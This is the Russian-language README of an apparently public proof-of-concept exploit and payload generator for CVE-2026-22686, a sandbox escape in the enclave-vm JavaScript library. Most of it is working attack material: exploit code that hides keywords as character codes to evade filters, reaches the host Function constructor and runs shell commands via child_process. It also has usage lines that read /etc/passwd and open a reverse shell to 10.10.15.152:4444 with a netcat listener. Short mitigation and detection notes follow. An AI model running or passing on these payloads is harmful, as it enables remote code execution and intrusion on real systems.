Эксплойт proof-of-concept и генератор полезной нагрузки для CVE-2026-22686 — побег из песочницы в enclave-vm <2.7.0, позволяющий выполнение произвольного кода и обратные оболочки.
Доказательство концепции (PoC) эксплойта и генератор полезной нагрузки для CVE-2026-22686 — критической уязвимости побега из песочницы в enclave-vm версий до 2.7.0, позволяющей выполнить произвольный код в хост-среде Node.js.
⚠️ Отказ от ответственности: Этот инструмент предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Использование против систем без предварительного письменного согласия незаконно. Автор не несёт ответственности за любое неправомерное использование.
enclave-vm — это библиотека песочницы JavaScript, предназначенная для безопасного выполнения недоверенного кода в контролируемой среде. В версиях < 2.7.0 ошибка в механизме предоставления хост-объектов ошибок песочнице позволяет злоумышленнику пройти по цепочке прототипов и добраться до хост-конструктора Function, тем самым выйдя из песочницы.
Этот репозиторий содержит:
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Критический) |
| CWE | CWE-693 — Отказ механизма защиты |
| Компонент | enclave-vm |
| Уязвимы | < 2.7.0 |
| Исправлено в | 2.7.0 |
| Воздействие | Побег из песочницы → выполнение произвольного кода (RCE) |
Когда вызов инструмента в песочнице завершается ошибкой, enclave-vm предоставляет хост-объект Error обратно в код песочницы. Поскольку этот объект ошибки сохраняет исходную цепочку прототипов из хост-среды, злоумышленник может пройти по цепочке следующим образом:
Экземпляр Error
└── Error.prototype
└── Конструктор Error
└── Конструктор Function ← хост-функция Function!
Получив хост-конструктор Function, злоумышленник может скомпилировать и выполнить произвольный JavaScript в хост-среде — полностью обойдя песочницу.
Эксплойт состоит из следующих шагов:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor — хост-функции Function.Function и выполнить её.child_process и выполняет произвольную команду оболочки (или запускает обратную оболочку).Все чувствительные ключевые слова (constructor, __proto__, __lookupGetter__, prototype) обфусцированы в виде ASCII-кодов символов, чтобы обойти простые статические фильтры.
Внешних зависимостей нет — используется только стандартная библиотека Python.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Требования:
python3 generator.py
Вас попросят:
Затем скопируйте сгенерированную полезную нагрузку и вставьте её во входные данные уязвимой песочницы.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Терминал 1 (атакующий — слушатель):
nc -lvnp 4444
Терминал 2 (генератор):
python3 generator.py --revshell 10.10.15.152 4444
Скопируйте полученную полезную нагрузку и вставьте её в песочницу. Вы должны получить оболочку в Терминале 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Флаг | Описание |
|---|---|
-c, --command | Команда оболочки для выполнения |
--revshell LHOST LPORT | Сгенерировать полезную нагрузку обратной оболочки |
--raw | Вывести только полезную нагрузку (без баннера и оформления) |
--lang {fr,en} | Принудительно задать язык интерфейса |
-h, --help | Показать справку и примеры |
const s = (...args) => String.fromCharCode(...args);
Небольшой вспомогательный метод для декодирования массивов ASCII-кодов во время выполнения.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Позволяет обойти тривиальные строковые фильтры.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Хост-конструктор Function
const result = HostFunc(payload)(); // Выполнение произвольного кода
Затем хост-функция Function используется для выполнения команды злоумышленника через child_process.execSync().
Для разработчиков:
enclave-vm до >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).Для пользователей / организаций:
Обнаружение:
Ищите HTTP-запросы или отправляемый код, содержащие callTool('NONEXISTENT', __lookupGetter__, длинные массивы целочисленных литералов, разделённых запятыми, или child_process / execSync.
Этот проект опубликован строго в образовательных целях и для защитных исследований безопасности. Он предназначен для исследователей безопасности, авторизованных пентестеров и игроков CTF.
Не используйте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций (CFAA в США, Computer Misuse Act в Великобритании, статья 323-1 во Франции) и может повлечь серьёзные уголовные наказания.
Используя это программное обеспечение, вы соглашаетесь с тем, что автор не несёт ответственности за любой ущерб или юридические последствия, возникшие в результате его использования.
Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.
enclave-vm за ответственное раскрытие и исправлениеPull-запросы приветствуются. Для крупных изменений сначала откройте issue.
Предлагаемые улучшения:
vm2, isolated-vm)